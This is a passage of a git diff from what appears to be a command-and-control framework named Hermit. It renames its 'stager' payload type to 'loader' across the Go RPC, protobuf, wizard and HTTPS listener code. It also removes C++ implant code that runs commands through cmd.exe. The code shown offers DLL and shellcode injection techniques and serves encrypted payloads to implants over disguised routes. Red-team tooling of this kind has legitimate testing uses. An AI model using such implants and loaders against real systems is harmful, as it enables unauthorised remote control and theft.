wSystem32Path = std::wstring(system32Path); - const std::wstring applicationName = wSystem32Path + L"\\cmd.exe"; - // const std::wstring applicationName = wSystem32Path + L"\\WindowsPowerShell\\v1.0\powershell.exe"; - - // Set command - std::wstring commandLine = L"/C " + cmd; - // std::wstring commandLine = L"-c " + cmd; - - bResults = CreateProcessW( - applicationName.c_str(), - &commandLine[0], - NULL, - NULL, - TRUE, - 0, - NULL, - NULL, - &si, - &pi - ); - if (!bResults) - { - Stdout::DisplayErrorMessageBoxW(L"CreateProcessW Error"); - return L""; - } - - // Read stdout - DWORD dwRead; - CHAR chBuf[4096]; - - CloseHandle(hWritePipe); - - while (ReadFile(hReadPipe, chBuf, 4095, &dwRead, NULL) && dwRead > 0) - { - chBuf[dwRead] = '\0'; - result += std::wstring(chBuf, chBuf + dwRead); - } - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - CloseHandle(hReadPipe); - - return result; - } - - BOOL ExecuteFile(const std::wstring& filePath) - { - STARTUPINFO si; - PROCESS_INFORMATION pi; - - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - if (!CreateProcess( - filePath.c_str(), - NULL, - NULL, - NULL, - FALSE, - 0, - NULL, - NULL, - &si, - &pi - )) - { - return FALSE; - } - - WaitForSingleObject(pi.hProcess, INFINITE); - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - - return TRUE; - } -} \ No newline at end of file diff --git a/pkg/client/rpc/request.go b/pkg/client/rpc/request.go index 9012047..bcf4f8b 100644 --- a/pkg/client/rpc/request.go +++ b/pkg/client/rpc/request.go @@ -219,8 +219,8 @@ func RequestPayloadImplantGenerate(clientState *state.ClientState, imp *payload. return r.GetData(), nil } -func RequestPayloadStagerGenerate(clientState *state.ClientState, stg *payload.Stager) ([]byte, error) { - r, err := clientState.RPCClient.PayloadStagerGenerate(clientState.Ctx, &rpcpb.PayloadStager{ +func RequestPayloadLoaderGenerate(clientState *state.ClientState, stg *payload.Loader) ([]byte, error) { + r, err := clientState.RPCClient.PayloadLoaderGenerate(clientState.Ctx, &rpcpb.PayloadLoader{ Os: stg.Os, Arch: stg.Arch, Format: stg.Format, diff --git a/pkg/common/handler/payload.go b/pkg/common/handler/payload.go index ea1ff6f..03b1869 100644 --- a/pkg/common/handler/payload.go +++ b/pkg/common/handler/payload.go @@ -50,8 +50,8 @@ func HandlePayloadGen( spin.Stop() stdout.LogSuccess(fmt.Sprintf("Implant saved at %s", color.HiGreenString(outFile))) - } else if strings.HasPrefix(payloadType, "stager") { - stg, err := wizard.WizardPayloadStager( + } else if strings.HasPrefix(payloadType, "loader") { + ldr, err := wizard.WizardPayloadLoader( meta.GetSpecificHost(serverState.Conf.Host), liss, payloadType, @@ -61,10 +61,10 @@ func HandlePayloadGen( } fmt.Println() - spin := stdout.NewSpinner("Generating a stager...") + spin := stdout.NewSpinner("Generating a loader...") spin.Start() - _, outFile, err := stg.Generate(serverState) + _, outFile, err := ldr.Generate(serverState) if err != nil { spin.Stop() return err @@ -138,8 +138,8 @@ func HandlePayloadGen( } stdout.LogSuccess(fmt.Sprintf("Implant saved at %s", color.HiGreenString(outFile))) - } else if strings.HasPrefix(payloadType, "stager") { - stg, err := wizard.WizardPayloadStager( + } else if strings.HasPrefix(payloadType, "loader") { + ldr, err := wizard.WizardPayloadLoader( meta.GetSpecificHost(clientState.Conf.Server.Host), liss, payloadType, @@ -150,7 +150,7 @@ func HandlePayloadGen( spin := stdout.NewSpinner("Generating a payload...") spin.Start() - data, err := rpc.RequestPayloadStagerGenerate(clientState, stg) + data, err := rpc.RequestPayloadLoaderGenerate(clientState, ldr) if err != nil { spin.Stop() return err @@ -163,7 +163,7 @@ func HandlePayloadGen( return err } payloadsDir := fmt.Sprintf("%s/client/payloads", appDir) - outFile := fmt.Sprintf("%s/%s.%s", payloadsDir, stg.Name, stg.Format) + outFile := fmt.Sprintf("%s/%s.%s", payloadsDir, ldr.Name, ldr.Format) err = os.WriteFile(outFile, data, 0755) if err != nil { diff --git a/pkg/common/parser/amloot.go b/pkg/common/parser/amloot.go index c6ee23e..04ab8d9 100644 --- a/pkg/common/parser/amloot.go +++ b/pkg/common/parser/amloot.go @@ -39,5 +39,5 @@ func (c *amLootShowCmd) Run( type amLootCmd struct { Clear amLootClearCmd `cmd:"" help:"Remove all loot."` - Show amLootShowCmd `cmd:"" help:"Print loot gained from target computer."` + Show amLootShowCmd `cmd:"" help:"Print all loot (task results) gained from target computer."` } diff --git a/pkg/common/parser/amtask.go b/pkg/common/parser/amtask.go index b3fc38e..8854ed2 100644 --- a/pkg/common/parser/amtask.go +++ b/pkg/common/parser/amtask.go @@ -35,7 +35,22 @@ func (c *amTaskListCmd) Run( return nil } +type amTaskResultsCmd struct{} + +func (c *amTaskResultsCmd) Run( + ctx *kong.Context, + serverState *servState.ServerState, + clientState *cliState.ClientState, +) error { + err := handler.HandleAmLootShow(serverState, clientState) + if err != nil { + return err + } + return nil +} + type amTaskCmd struct { - Clear amTaskClearCmd `cmd:"" help:"Clear all tasks set."` - List amTaskListCmd `cmd:"" help:"List all tasks that are waiting for results."` + Clear amTaskClearCmd `cmd:"" help:"Clear all tasks set."` + List amTaskListCmd `cmd:"" help:"List all tasks that are waiting for results."` + Results amTaskResultsCmd `cmd:"" help:"Print all task results. This is the alias for 'loot show' command."` } diff --git a/pkg/common/parser/parser.go b/pkg/common/parser/parser.go index dcc3001..4689529 100644 --- a/pkg/common/parser/parser.go +++ b/pkg/common/parser/parser.go @@ -24,6 +24,9 @@ type GrammarGeneral struct { // LISTENER Listener listenerCmd `cmd:"" help:"Manage listeners." group:"LISTENER:"` Listeners listenerListCmd `cmd:"" help:"Alias for 'listener list'." group:"LISTENER:"` + + // PAYLOAD + Payload payloadCmd `cmd:"" help:"Manage payloads." group:"PAYLOAD:"` } type GrammarRoot struct { @@ -35,9 +38,6 @@ type GrammarRoot struct { // CONFIG ClientConfig clientConfigCmd `cmd:"" help:"Manage client config." group:"CONFIG:"` - // PAYLOAD - Payload payloadCmd `cmd:"" help:"Manage payloads." group:"PAYLOAD:"` - // AGENT Agent agentCmd `cmd:"" help:"Manage agents." group:"AGENT:"` Agents agentListCmd `cmd:"" help:"Alias for 'agent list'." group:"AGENT:"` @@ -108,7 +108,7 @@ type GrammarAgentMode struct { Tasks amTaskListCmd `cmd:"" help:"Alias for 'task list'" group:"TASK MANAGE:"` // LOOT - Loot amLootCmd `cmd:"" help:"Manage loot." group:"LOOT:"` + Loot amLootCmd `cmd:"" help:"Manage loot. We can see task results with this command." group:"LOOT:"` } func NewParser(grammar interface{}, addr string, domains []string) (*kong.Kong, error) { diff --git a/pkg/common/wizard/payload.go b/pkg/common/wizard/payload.go index 7541c87..66ef942 100644 --- a/pkg/common/wizard/payload.go +++ b/pkg/common/wizard/payload.go @@ -17,9 +17,9 @@ func WizardPayloadType() string { items := []string{ "implant/beacon", // "implant/interactive", - "stager/dll-loader", - "stager/exec-loader", - "stager/shellcode-loader", + "loader/dll", + "loader/exec", + "loader/shellcode", "shellcode/exec", // "shellcode/revshell", // "shellcode/dll-loader", @@ -301,33 +301,36 @@ func WizardPayloadImplant( ), nil } -func WizardPayloadStager( +func WizardPayloadLoader( host string, listeners []*listener.Listener, payloadType string, -) (*payload.Stager, error) { +) (*payload.Loader, error) { oOs, oArch, oFormat, oLprotocol, oLhost, oLport, err := wizardPayloadBase(host, listeners, false) if err != nil { return nil, err } - oType := strings.Replace(payloadType, "stager/", "", -1) + oType := strings.Replace(payloadType, "loader/", "", -1) // Technique var oTechnique string var items []string - if oType == "dll-loader" { + if oType == "dll" { + // DLL Loader items = []string{ "dll-injection", "reflective-dll-injection", // "indirect-syscalls", } - } else if oType == "exec-loader" { + } else if oType == "exec" { + // Exec Loader items = []string{ "direct-execution", // "process-doppeleganging", } - } else if oType == "shellcode-loader" { + } else if oType == "shellcode" { + // Shellcode Loader items = []string{ "shellcode-injection", "shellcode-execution-via-fibers", @@ -367,7 +370,7 @@ func WizardPayloadStager( stdout.NewSingleTableItem("Technique", oTechnique), stdout.NewSingleTableItem("Process To Inject", oProcessToInject), } - stdout.PrintSingleTable("Stager Options", table) + stdout.PrintSingleTable("Loader Options", table) var proceed bool for { @@ -382,7 +385,7 @@ func WizardPayloadStager( return nil, fmt.Errorf("canceled") } - return payload.NewStager( + return payload.NewLoader( 0, "", "", diff --git a/pkg/protobuf/rpcpb/rpc.pb.go b/pkg/protobuf/rpcpb/rpc.pb.go index b3aa649..38991a9 100644 --- a/pkg/protobuf/rpcpb/rpc.pb.go +++ b/pkg/protobuf/rpcpb/rpc.pb.go @@ -401,7 +401,7 @@ func (x *PayloadImplant) GetIndirectSyscalls() bool { return false } -type PayloadStager struct { +type PayloadLoader struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -420,8 +420,8 @@ type PayloadStager struct { ProcessToInject string `protobuf:"bytes,12,opt,name=processToInject,proto3" json:"processToInject,omitempty"` } -func (x *PayloadStager) Reset() { - *x = PayloadStager{} +func (x *PayloadLoader) Reset() { + *x = PayloadLoader{} if protoimpl.UnsafeEnabled { mi := &file_rpcpb_rpc_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -429,13 +429,13 @@ func (x *PayloadStager) Reset() { } } -func (x *PayloadStager) String() string { +func (x *PayloadLoader) String() string { return protoimpl.X.MessageStringOf(x) } -func (*PayloadStager) ProtoMessage() {} +func (*PayloadLoader) ProtoMessage() {} -func (x *PayloadStager) ProtoReflect() protoreflect.Message { +func (x *PayloadLoader) ProtoReflect() protoreflect.Message { mi := &file_rpcpb_rpc_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -447,89 +447,89 @@ func (x *PayloadStager) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use PayloadStager.ProtoReflect.Descriptor instead. -func (*PayloadStager) Descriptor() ([]byte, []int) { +// Deprecated: Use PayloadLoader.ProtoReflect.Descriptor instead. +func (*PayloadLoader) Descriptor() ([]byte, []int) { return file_rpcpb_rpc_proto_rawDescGZIP(), []int{4} } -func (x *PayloadStager) GetId() int64 { +func (x *PayloadLoader) GetId() int64 { if x != nil { return x.Id } return 0 } -func (x *PayloadStager) GetUuid() string { +func (x *PayloadLoader) GetUuid() string { if x != nil { return x.Uuid } return "" } -func (x *PayloadStager) GetName() string { +func (x *PayloadLoader) GetName() string { if x != nil { return x.Name } return "" } -func (x *PayloadStager) GetOs() string { +func (x *PayloadLoader) GetOs() string { if x != nil { return x.Os } return "" } -func (x *PayloadStager) GetArch() string { +func (x *PayloadLoader) GetArch() string { if x != nil { return x.Arch } return "" } -func (x *PayloadStager) GetFormat() string { +func (x *PayloadLoader) GetFormat() string { if x != nil { return x.Format } return "" } -func (x *PayloadStager) GetLprotocol() string { +func (x *PayloadLoader) GetLprotocol() string { if x != nil { return x.Lprotocol } return "" } -func (x *PayloadStager) GetLhost() string { +func (x *PayloadLoader) GetLhost() string { if x != nil { return x.Lhost } return "" } -func (x *PayloadStager) GetLport() int32 { +func (x *PayloadLoader) GetLport() int32 { if x != nil { return x.Lport } return 0 } -func (x *PayloadStager) GetType() string { +func (x *PayloadLoader) GetType() string { if x != nil { return x.Type } return "" } -func (x *PayloadStager) GetTechnique() string { +func (x *PayloadLoader) GetTechnique() string { if x != nil { return x.Technique } return "" } -func (x *PayloadStager) GetProcessToInject() string { +func (x *PayloadLoader) GetProcessToInject() string { if x != nil { return x.ProcessToInject } @@ -974,7 +974,7 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x72, 0x65, 0x63, 0x74, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x73, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x69, 0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x73, 0x22, 0xa9, 0x02, 0x0a, 0x0d, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x75, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x75, 0x75, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x0e, @@ -1092,9 +1092,9 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, - 0x12, 0x41, 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x12, 0x41, 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x72, 0x70, 0x63, 0x70, - 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x1a, + 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, 0x12, 0x47, 0x0a, 0x18, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, @@ -1158,7 +1158,7 @@ var file_rpcpb_rpc_proto_goTypes = []interface{}{ (*Listener)(nil), // 1: rpcpb.Listener (*ListenerPayload)(nil), // 2: rpcpb.ListenerPayload (*PayloadImplant)(nil), // 3: rpcpb.PayloadImplant - (*PayloadStager)(nil), // 4: rpcpb.PayloadStager + (*PayloadLoader)(nil), // 4: rpcpb.PayloadLoader (*PayloadShellcode)(nil), // 5: rpcpb.PayloadShellcode (*Agent)(nil), // 6: rpcpb.Agent (*Task)(nil), // 7: rpcpb.Task @@ -1185,7 +1185,7 @@ var file_rpcpb_rpc_proto_depIdxs = []int32{ 11, // 12: rpcpb.HermitRPC.ListenerGetById:input_type -> commonpb.Id 9, // 13: rpcpb.HermitRPC.ListenerGetAll:input_type -> commonpb.Empty 3, // 14: rpcpb.HermitRPC.PayloadImplantGenerate:input_type -> rpcpb.PayloadImplant - 4, // 15: rpcpb.HermitRPC.PayloadStagerGenerate:input_type -> rpcpb.PayloadStager + 4, // 15: rpcpb.HermitRPC.PayloadLoaderGenerate:input_type -> rpcpb.PayloadLoader 5, // 16: rpcpb.HermitRPC.PayloadShellcodeGenerate:input_type -> rpcpb.PayloadShellcode 11, // 17: rpcpb.HermitRPC.AgentDeleteById:input_type -> commonpb.Id 11, // 18: rpcpb.HermitRPC.AgentGetById:input_type -> commonpb.Id @@ -1211,7 +1211,7 @@ var file_rpcpb_rpc_proto_depIdxs = []int32{ 1, // 38: rpcpb.HermitRPC.ListenerGetById:output_type -> rpcpb.Listener 1, // 39: rpcpb.HermitRPC.ListenerGetAll:output_type -> rpcpb.Listener 13, // 40: rpcpb.HermitRPC.PayloadImplantGenerate:output_type -> commonpb.Binary - 13, // 41: rpcpb.HermitRPC.PayloadStagerGenerate:output_type -> commonpb.Binary + 13, // 41: rpcpb.HermitRPC.PayloadLoaderGenerate:output_type -> commonpb.Binary 13, // 42: rpcpb.HermitRPC.PayloadShellcodeGenerate:output_type -> commonpb.Binary 12, // 43: rpcpb.HermitRPC.AgentDeleteById:output_type -> commonpb.Message 6, // 44: rpcpb.HermitRPC.AgentGetById:output_type -> rpcpb.Agent @@ -1284,7 +1284,7 @@ func file_rpcpb_rpc_proto_init() { } } file_rpcpb_rpc_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PayloadStager); i { + switch v := v.(*PayloadLoader); i { case 0: return &v.state case 1: diff --git a/pkg/protobuf/rpcpb/rpc.proto b/pkg/protobuf/rpcpb/rpc.proto index 8ee15e5..32f3cdb 100644 --- a/pkg/protobuf/rpcpb/rpc.proto +++ b/pkg/protobuf/rpcpb/rpc.proto @@ -33,7 +33,7 @@ service HermitRPC { // PAYLOAD rpc PayloadImplantGenerate (PayloadImplant) returns (commonpb.Binary) {} - rpc PayloadStagerGenerate (PayloadStager) returns (commonpb.Binary) {} + rpc PayloadLoaderGenerate (PayloadLoader) returns (commonpb.Binary) {} rpc PayloadShellcodeGenerate (PayloadShellcode) returns (commonpb.Binary) {} // AGENT @@ -92,7 +92,7 @@ message PayloadImplant { bool indirectSyscalls = 14; } -message PayloadStager { +message PayloadLoader { int64 id = 1; string uuid = 2; string name = 3; diff --git a/pkg/protobuf/rpcpb/rpc_grpc.pb.go b/pkg/protobuf/rpcpb/rpc_grpc.pb.go index a49762d..ca3c3d9 100644 --- a/pkg/protobuf/rpcpb/rpc_grpc.pb.go +++ b/pkg/protobuf/rpcpb/rpc_grpc.pb.go @@ -42,7 +42,7 @@ type HermitRPCClient interface { ListenerGetAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (HermitRPC_ListenerGetAllClient, error) // PAYLOAD PayloadImplantGenerate(ctx context.Context, in *PayloadImplant, opts ...grpc.CallOption) (*commonpb.Binary, error) - PayloadStagerGenerate(ctx context.Context, in *PayloadStager, opts ...grpc.CallOption) (*commonpb.Binary, error) + PayloadLoaderGenerate(ctx context.Context, in *PayloadLoader, opts ...grpc.CallOption) (*commonpb.Binary, error) PayloadShellcodeGenerate(ctx context.Context, in *PayloadShellcode, opts ...grpc.CallOption) (*commonpb.Binary, error) // AGENT AgentDeleteById(ctx context.Context, in *commonpb.Id, opts ...grpc.CallOption) (*commonpb.Message, error) @@ -247,9 +247,9 @@ func (c *hermitRPCClient) PayloadImplantGenerate(ctx context.Context, in *Payloa return out, nil } -func (c *hermitRPCClient) PayloadStagerGenerate(ctx context.Context, in *PayloadStager, opts ...grpc.CallOption) (*commonpb.Binary, error) { +func (c *hermitRPCClient) PayloadLoaderGenerate(ctx context.Context, in *PayloadLoader, opts ...grpc.CallOption) (*commonpb.Binary, error) { out := new(commonpb.Binary) - err := c.cc.Invoke(ctx, "/rpcpb.HermitRPC/PayloadStagerGenerate", in, out, opts...) + err := c.cc.Invoke(ctx, "/rpcpb.HermitRPC/PayloadLoaderGenerate", in, out, opts...) if err != nil { return nil, err } @@ -392,7 +392,7 @@ type HermitRPCServer interface { ListenerGetAll(*commonpb.Empty, HermitRPC_ListenerGetAllServer) error // PAYLOAD PayloadImplantGenerate(context.Context, *PayloadImplant) (*commonpb.Binary, error) - PayloadStagerGenerate(context.Context, *PayloadStager) (*commonpb.Binary, error) + PayloadLoaderGenerate(context.Context, *PayloadLoader) (*commonpb.Binary, error) PayloadShellcodeGenerate(context.Context, *PayloadShellcode) (*commonpb.Binary, error) // AGENT AgentDeleteById(context.Context, *commonpb.Id) (*commonpb.Message, error) @@ -458,8 +458,8 @@ func (UnimplementedHermitRPCServer) ListenerGetAll(*commonpb.Empty, HermitRPC_Li func (UnimplementedHermitRPCServer) PayloadImplantGenerate(context.Context, *PayloadImplant) (*commonpb.Binary, error) { return nil, status.Errorf(codes.Unimplemented, "method PayloadImplantGenerate not implemented") } -func (UnimplementedHermitRPCServer) PayloadStagerGenerate(context.Context, *PayloadStager) (*commonpb.Binary, error) { - return nil, status.Errorf(codes.Unimplemented, "method PayloadStagerGenerate not implemented") +func (UnimplementedHermitRPCServer) PayloadLoaderGenerate(context.Context, *PayloadLoader) (*commonpb.Binary, error) { + return nil, status.Errorf(codes.Unimplemented, "method PayloadLoaderGenerate not implemented") } func (UnimplementedHermitRPCServer) PayloadShellcodeGenerate(context.Context, *PayloadShellcode) (*commonpb.Binary, error) { return nil, status.Errorf(codes.Unimplemented, "method PayloadShellcodeGenerate not implemented") @@ -780,20 +780,20 @@ func _HermitRPC_PayloadImplantGenerate_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } -func _HermitRPC_PayloadStagerGenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(PayloadStager) +func _HermitRPC_PayloadLoaderGenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(PayloadLoader) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(HermitRPCServer).PayloadStagerGenerate(ctx, in) + return srv.(HermitRPCServer).PayloadLoaderGenerate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.HermitRPC/PayloadStagerGenerate", + FullMethod: "/rpcpb.HermitRPC/PayloadLoaderGenerate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(HermitRPCServer).PayloadStagerGenerate(ctx, req.(*PayloadStager)) + return srv.(HermitRPCServer).PayloadLoaderGenerate(ctx, req.(*PayloadLoader)) } return interceptor(ctx, in, info, handler) } @@ -1041,8 +1041,8 @@ var HermitRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _HermitRPC_PayloadImplantGenerate_Handler, }, { - MethodName: "PayloadStagerGenerate", - Handler: _HermitRPC_PayloadStagerGenerate_Handler, + MethodName: "PayloadLoaderGenerate", + Handler: _HermitRPC_PayloadLoaderGenerate_Handler, }, { MethodName: "PayloadShellcodeGenerate", diff --git a/pkg/server/payload/stager.go b/pkg/server/payload/loader.go similarity index 91% rename from pkg/server/payload/stager.go rename to pkg/server/payload/loader.go index b4f93b4..db2fba6 100644 --- a/pkg/server/payload/stager.go +++ b/pkg/server/payload/loader.go @@ -14,7 +14,7 @@ import ( "github.com/hideckies/hermit/pkg/server/state" ) -type Stager struct { +type Loader struct { Id uint Uuid string Name string @@ -24,12 +24,12 @@ type Stager struct { Lprotocol string Lhost string Lport uint16 - Type string // "dll-loader", "exec-loader", "shellcode-loader" + Type string // "dll", "exec", "shellcode" Technique string // Evasion technique ProcessToInject string } -func NewStager( +func NewLoader( id uint, _uuid string, name string, @@ -42,15 +42,15 @@ func NewStager( stgType string, technique string, processToInject string, -) *Stager { +) *Loader { if _uuid == "" { _uuid = uuid.NewString() } if name == "" { - name = utils.GenerateRandomAnimalName(false, fmt.Sprintf("stager-%s", stgType)) + name = utils.GenerateRandomAnimalName(false, fmt.Sprintf("loader-%s", stgType)) } - return &Stager{ + return &Loader{ Id: id, Uuid: _uuid, Name: name, @@ -66,7 +66,7 @@ func NewStager( } } -func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile string, err error) { +func (s *Loader) Generate(serverState *state.ServerState) (data []byte, outFile string, err error) { // Get the correspoiding listener liss, err := serverState.DB.ListenerGetAll() if err != nil { @@ -91,7 +91,7 @@ func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile outFile = fmt.Sprintf("%s/%s.%s.%s", payloadsDir, s.Name, s.Arch, s.Format) // Get request path - requestPathDownload := utils.GetRandomElemString(serverState.Conf.Listener.FakeRoutes["/stager/download"]) + requestPathDownload := utils.GetRandomElemString(serverState.Conf.Listener.FakeRoutes["/loader/download"]) // Generate random AES key and IV newAES, err := crypt.NewAES() @@ -104,7 +104,7 @@ func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile return nil, "", fmt.Errorf("linux target is not implemented yet") } else if s.Os == "windows" { // Change directory - os.Chdir("./payload/win/stager") + os.Chdir("./payload/win/loader") _, err = meta.ExecCommand("rm", "-rf", "build") if err != nil { os.Chdir(serverState.CWD) diff --git a/pkg/server/rpc/grpc.go b/pkg/server/rpc/grpc.go index a1210c6..e5ea1c6 100644 --- a/pkg/server/rpc/grpc.go +++ b/pkg/server/rpc/grpc.go @@ -318,11 +318,11 @@ func (s *HermitRPCServer) PayloadImplantGenerate( return &commonpb.Binary{Data: data}, nil } -func (s *HermitRPCServer) PayloadStagerGenerate( +func (s *HermitRPCServer) PayloadLoaderGenerate( ctx context.Context, - stg *rpcpb.PayloadStager, + stg *rpcpb.PayloadLoader, ) (*commonpb.Binary, error) { - newStg := payload.NewStager( + newStg := payload.NewLoader( uint(stg.Id), stg.Uuid, stg.Name, diff --git a/pkg/server/service/https.go b/pkg/server/service/https.go index b87f1ae..589ac75 100644 --- a/pkg/server/service/https.go +++ b/pkg/server/service/https.go @@ -41,7 +41,7 @@ type CheckInData struct { AESIVBase64 string `json:"aesIV"` } -type StagerData struct { +type LoaderData struct { OS string `json:"os"` Arch string `json:"arch"` Hostname string `json:"hostname"` @@ -533,7 +533,7 @@ func handleImplantWebSocket(ctx *gin.Context) { } } -func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState) gin.HandlerFunc { +func handleLoaderDownload(lis *listener.Listener, serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { w := ctx.Writer header := w.Header() @@ -547,14 +547,14 @@ func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState return } // Parse JSON - var stgData StagerData - if err := json.Unmarshal(jsonBytes, &stgData); err != nil { + var ldrData LoaderData + if err := json.Unmarshal(jsonBytes, &ldrData); err != nil { ctx.String(http.StatusBadRequest, "Failed to parse JSON.") return } // Generate AES key/iv - newAES, err := crypt.NewAESFromBase64Pairs(stgData.AESKeyBase64, stgData.AESIVBase64) + newAES, err := crypt.NewAESFromBase64Pairs(ldrData.AESKeyBase64, ldrData.AESIVBase64) if err != nil { ctx.String(http.StatusBadGateway, "Failed to generate AES instance from Base64 key/iv.") return @@ -572,44 +572,44 @@ func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState for _, payloadPath := range payloadPaths { // TODO: more accurate check for file info - if stgData.OS == "linux" { + if ldrData.OS == "linux" { // TODO // ... } - if stgData.OS == "windows" { - if stgData.LoaderType == "dll-loader" { + if ldrData.OS == "windows" { + if ldrData.LoaderType == "dll" { // Load a DLL file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".amd64.dll") { targetPayloadPath = payloadPath break } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".i686.dll") { targetPayloadPath = payloadPath break } } - } else if stgData.LoaderType == "exec-loader" { + } else if ldrData.LoaderType == "exec" { // Load an executable file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".amd64.exe") { targetPayloadPath = payloadPath break } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".i686.exe") { targetPayloadPath = payloadPath break } } - } else if stgData.LoaderType == "shellcode-loader" { + } else if ldrData.LoaderType == "shellcode" { // Load a shellcode (raw) file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".x64.bin") { targetPayloadPath = payloadPath } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".x86.bin") { targetPayloadPath = payloadPath } @@ -693,8 +693,8 @@ func httpsRoutes( for _, r := range fakeRoutes["/implant/websocket"] { router.GET(r, handleImplantWebSocket) } - for _, r := range fakeRoutes["/stager/download"] { - router.POST(r, handleStagerDownload(lis, serverState)) + for _, r := range fakeRoutes["/loader/download"] { + router.POST(r, handleLoaderDownload(lis, serverState)) } for _, r := range fakeRoutes["/socket/open"] { router.POST(r, handleSocketOpen(serverState))